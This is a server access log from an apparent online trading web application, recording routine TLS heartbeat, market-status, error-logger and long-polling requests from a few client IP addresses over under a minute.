[09/Jan/2026:11:58:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:58:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:58:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931399400 HTTP/1.1" -
[09/Jan/2026:11:58:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931400276 HTTP/1.1" -
[09/Jan/2026:11:58:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931401502 HTTP/1.1" -
[09/Jan/2026:11:58:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:58:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931401377 HTTP/1.1" -
[09/Jan/2026:11:58:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931401702 HTTP/1.1" -
[09/Jan/2026:11:58:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931402623 HTTP/1.1" -
[09/Jan/2026:11:58:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931402209 HTTP/1.1" -
[09/Jan/2026:11:58:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:58:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:58:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931404466 HTTP/1.1" -
[09/Jan/2026:11:58:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931405333 HTTP/1.1" -
[09/Jan/2026:11:58:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:58:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:58:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931406538 HTTP/1.1" -
[09/Jan/2026:11:58:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931406587 HTTP/1.1" -
[09/Jan/2026:11:58:57 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931406761 HTTP/1.1" -
[09/Jan/2026:11:58:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931407759 HTTP/1.1" -
[09/Jan/2026:11:58:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931407247 HTTP/1.1" -
[09/Jan/2026:11:59:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931409527 HTTP/1.1" -
[09/Jan/2026:11:59:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931410397 HTTP/1.1" -
[09/Jan/2026:11:59:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:59:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931411567 HTTP/1.1" -
[09/Jan/2026:11:59:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931411788 HTTP/1.1" -
[09/Jan/2026:11:59:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931411824 HTTP/1.1" -
[09/Jan/2026:11:59:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931412809 HTTP/1.1" -
[09/Jan/2026:11:59:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931412273 HTTP/1.1" -
[09/Jan/2026:11:59:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931414595 HTTP/1.1" -
[09/Jan/2026:11:59:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931415465 HTTP/1.1" -
[09/Jan/2026:11:59:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931416590 HTTP/1.1" -
[09/Jan/2026:11:59:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931416895 HTTP/1.1" -
[09/Jan/2026:11:59:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931416942 HTTP/1.1" -
[09/Jan/2026:11:59:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931417944 HTTP/1.1" -
[09/Jan/2026:11:59:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931417346 HTTP/1.1" -
[09/Jan/2026:11:59:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931419662 HTTP/1.1" -
[09/Jan/2026:11:59:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931420526 HTTP/1.1" -
[09/Jan/2026:11:59:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931421613 HTTP/1.1" -
[09/Jan/2026:11:59:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931421970 HTTP/1.1" -
[09/Jan/2026:11:59:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931422160 HTTP/1.1" -
[09/Jan/2026:11:59:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931423065 HTTP/1.1" -
[09/Jan/2026:11:59:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931422420 HTTP/1.1" -
[09/Jan/2026:11:59:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931424733 HTTP/1.1" -
[09/Jan/2026:11:59:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931425590 HTTP/1.1" -
[09/Jan/2026:11:59:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931426651 HTTP/1.1" -
[09/Jan/2026:11:59:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:59:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:59:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931427028 HTTP/1.1" -
[09/Jan/2026:11:59:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931427401 HTTP/1.1" -
[09/Jan/2026:11:59:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931428209 HTTP/1.1" -
[09/Jan/2026:11:59:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931427552 HTTP/1.1" -
[09/Jan/2026:11:59:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:59:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:59:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931429834 HTTP/1.1" -
[09/Jan/2026:11:59:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931430652 HTTP/1.1" -
[09/Jan/2026:11:59:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:59:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931431686 HTTP/1.1" -
[09/Jan/2026:11:59:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931432092 HTTP/1.1" -
[09/Jan/2026:11:59:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931432633 HTTP/1.1" -
[09/Jan/2026:11:59:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931433343 HTTP/1.1" -
[09/Jan/2026:11:59:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:59:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931432647 HTTP/1.1" -
[09/Jan/2026:11:59:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:59:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931434900 HTTP/1.1" -
[09/Jan/2026:11:59:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:59:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931435725 HTTP/1.1" -
[09/Jan/2026:11:59:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:59:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:59:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931436732 HTTP/1.1" -
[09/Jan/2026:11:59:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931437214 HTTP/1.1" -
[09/Jan/2026:11:59:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931437875 HTTP/1.1" -
[09/Jan/2026:11:59:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931438544 HTTP/1.1" -
[09/Jan/2026:11:59:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931437669 HTTP/1.1" -
[09/Jan/2026:11:59:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931439973 HTTP/1.1" -
[09/Jan/2026:11:59:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931440792 HTTP/1.1" -
[09/Jan/2026:11:59:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
